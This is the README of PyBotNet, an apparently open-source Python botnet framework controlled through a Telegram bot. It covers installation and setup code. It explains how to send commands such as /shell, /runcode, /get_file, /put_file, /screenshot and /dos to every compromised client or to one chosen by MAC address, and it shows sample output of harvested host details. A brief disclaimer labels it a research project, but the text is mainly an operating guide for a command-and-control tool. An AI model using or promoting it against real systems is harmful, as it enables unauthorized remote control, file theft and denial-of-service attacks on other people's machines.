PyBotNet: A Remote Control Framework for Python with Telegram Integration
LGPL-2.1 License
Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf!.
Source Code: https://github.com/onionj/pybotnet
Documentation: https://onionj.github.io/pybotnet/
ToDo List: https://github.com/users/onionj/projects/1
pip3 install pybotnet -U
-U
: make sure to upgrade framework to latest version.# in main.py
from pybotnet import BotNet, TelegramEngine
telegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID) #(1)
botnet = BotNet(telegram_engine) # (2)
botnet.run()
TELEGRAM_TOKEN
: You can use telegram @botfather
to Create new telegram API Bot and get your TELEGRAM_TOKEN
ADMIN_CHAT_ID
: Get it from @userinfobot telegram bot/shell
, /put_file
, /get_file
, /screenshot
, /who
, ...,/help
to your telegram bot and see more detail..python3 main.py
open telegram and send /who
command to your bot; If you have done the steps correctly, you recive a message like this:
scripts_name:
echo
who
shell
screenshot
put_file
get_file
runcode
openurl
dos
schedule
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
local_ip: {'192.168.23.1'}
host_name: {'system_name'}
system_user: root
up_time: 0:00:01
current_route: /
pid: 148352
cpu_count: 8
pybotnet_version: 2.0.8b0
from cache: True
you can send /help
to see help page, or send /help <script_name>
to recive more help about a specific script.
for example send /help screenshot
, You will receive:
NAME:
screenshot
DESCRIPTION:
get screen shot
* `[mac-address] /screenshot`
or
* `/screenshot`
example command:
* `94945035671481 /screenshot`
* `/screenshot`
return: img or img-download-link
script_version: 0.0.1
default_script: True
___________________________
scripts_name: ['echo', 'who', 'shell', 'screenshot', 'put_file', 'get_file', 'runcode', 'openurl', 'dos', 'schedule']
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
use_proxy: False
in top of message you see script name, description, syntax, and examples.
for run screenshot script you have two choice:
for run script on all client send /screenshot
.
bot if you need to get screen-shot on a specific system you need to send [mac_addres] /screenshot
for our case: 228362405364 /screenshot
in some case like /shell
you need to run it just for one system.
For see who we can Add custom scripts
, Run in background
, Running the pybotnet without coding
, and etc, see the below documentation.
Thanks goes to these wonderful people :